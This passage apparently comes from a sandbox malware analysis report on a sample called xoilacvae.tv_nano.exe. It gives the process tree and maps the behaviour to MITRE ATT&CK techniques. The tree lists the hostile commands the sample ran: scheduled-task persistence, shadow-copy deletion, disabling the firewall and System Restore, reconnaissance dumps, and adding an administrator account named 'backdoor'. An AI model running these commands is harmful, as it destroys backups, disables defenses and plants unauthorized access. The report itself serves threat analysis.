  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4632
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacvae.tv_nano.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:956
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:1268
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2756
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4700
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3000
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4032
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:2724
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:780
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3484
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4508
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2624
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2060
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:1144
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1680
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    - Suspicious use of AdjustPrivilegeToken
    PID:3784
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacvae.tv_nano.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3304
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:1472
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2324
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:3564
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:3172
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:4788
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:1928
- C:\Windows\system32\svchost.exe
  "C:\Windows\system32\svchost.exe"
  2⤵
  PID:2300
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:4500
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" user backdoor P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  - Suspicious use of WriteProcessMemory
  PID:4220
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2304
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user backdoor P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:2692
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" localgroup administrators backdoor /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:640
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup administrators backdoor /add
    3⤵
    PID:3424

C:\Users\Admin\AppData\Local\Temp\xoilacvae.tv_nano.exe
C:\Users\Admin\AppData\Local\Temp\xoilacvae.tv_nano.exe
1⤵
PID:2684

C:\Users\Admin\AppData\Local\Temp\xoilacvae.tv_nano.exe
C:\Users\Admin\AppData\Local\Temp\xoilacvae.tv_nano.exe
1⤵
PID:524

C:\Windows\system32\BackgroundTaskHost.exe
"C:\Windows\system32\BackgroundTaskHost.exe" -ServerName:BackgroundTaskHost.WebAccountProvider
1⤵
PID:5004

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:4788

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create Account

T1136

Local Account

T1136.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Debugger Evasion

T1622

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Debugger Evasion

T1622

Permission Groups Discovery

T1069

Local Groups

T1069.001

Process Discovery

T1057

Query Registry

T1012

System Information Discovery